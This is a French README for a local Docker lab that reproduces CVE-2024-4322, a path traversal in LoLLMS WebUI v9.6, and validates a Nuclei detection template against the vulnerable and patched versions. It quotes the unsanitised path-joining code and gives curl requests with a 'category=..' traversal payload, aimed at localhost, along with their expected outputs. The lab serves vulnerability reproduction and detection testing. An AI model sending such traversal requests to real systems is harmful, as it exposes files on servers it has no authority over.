
POC_CVE-2024-4322
Ce dépôt fournit des laboratoires locaux conteneurisés pour reproduire CVE-2024-4322, une vulnérabilité de traversée de chemin dans LoLLMS WebUI v9.6, et pour valider que le modèle Nuclei associé ne correspond pas à LoLLMS WebUI v9.8.
Utilisez ce laboratoire uniquement contre des cibles locales, dont vous êtes propriétaire ou explicitement autorisées.
Le point d'accès /list_personalities dans LoLLMS WebUI v9.6 est vulnérable à une traversée de chemin. Le paramètre category contrôlé par l'utilisateur est ajouté à personalities_zoo_path sans assainissement :
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
En envoyant category=.., la requête peut sortir du répertoire prévu des personnalités et lister le contenu d'un répertoire parent.
Signal attendu de la vulnérabilité :
category= -> []
category=.. -> la réponse contient "personalities_zoo"
Le comportement corrigé dans v9.8 rejette l'entrée de traversée avant le listage du répertoire.
| Environnement | Version | Service | URL hôte | Résultat attendu du modèle |
|---|---|---|---|---|
| Linux vulnérable | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | correspond |
| Linux corrigé | v9.8 | linux-patched-server | http://127.0.0.1:9602 | aucune correspondance |
| Windows vulnérable | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | correspond |
| Windows corrigé | v9.8 | windows-patched-server | http://127.0.0.1:9603 | aucune correspondance |
Exécutez toutes les commandes à partir du répertoire contenant ce README.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
Attendez que :
Uvicorn running on http://0.0.0.0:9600
Appuyez sur Ctrl-C pour arrêter le suivi des logs. Le conteneur continue de s'exécuter.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
Résultat attendu :
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
L'ordre peut varier. Le signal important est que la réponse de traversée diffère de la réponse de contrôle et contient personalities_zoo.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
Résultat attendu :
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
Attendez que :
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
Résultat attendu :
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
Résultat attendu :
[INF] Scan completed ... 0 matches found.

Ce laboratoire nécessite Docker Desktop en mode conteneurs Windows. Exécutez les commandes ci-dessous à partir de ce répertoire dans PowerShell.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
Attendez que :
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
Résultat attendu :
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
L'ordre peut varier. Le signal important est que la réponse de traversée diffère de la réponse de contrôle et contient personalities_zoo.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
Résultat attendu :
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Ce laboratoire nécessite Docker Desktop en mode conteneurs Windows. Exécutez les commandes ci-dessous à partir de ce répertoire dans PowerShell.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
Attendez que :
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
Résultat attendu :
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
Résultat attendu :
[INF] Scan completed ... 0 matches found.

Conteneurs Linux :
docker compose --profile patched down --rmi local
Conteneurs Windows :
docker compose --profile windows down
curl.jq pour les exemples HTTP Linux vulnérables.Si jq n'est pas disponible sur l'hôte Linux, utilisez le conteneur analyste :
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Si Nuclei n'est pas installé sur Windows, téléchargez le binaire de la version Windows depuis https://github.com/projectdiscovery/nuclei/releases, décompressez-le, et exécutez nuclei.exe directement depuis le répertoire extrait.
Les Dockerfiles patchent les installateurs historiques pendant la construction afin que le laboratoire soit reproductible aujourd'hui :
v9.6 de lollms-webui.v9.8 de lollms-webui.lollms_core est réécrite en https://github.com/ParisNeo/lollms_legacy.git car l'historique source a été déplacé.v9.6 est e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, et v9.8 est 8a8e3a1c386321f641a014bf8f7029512ccad411.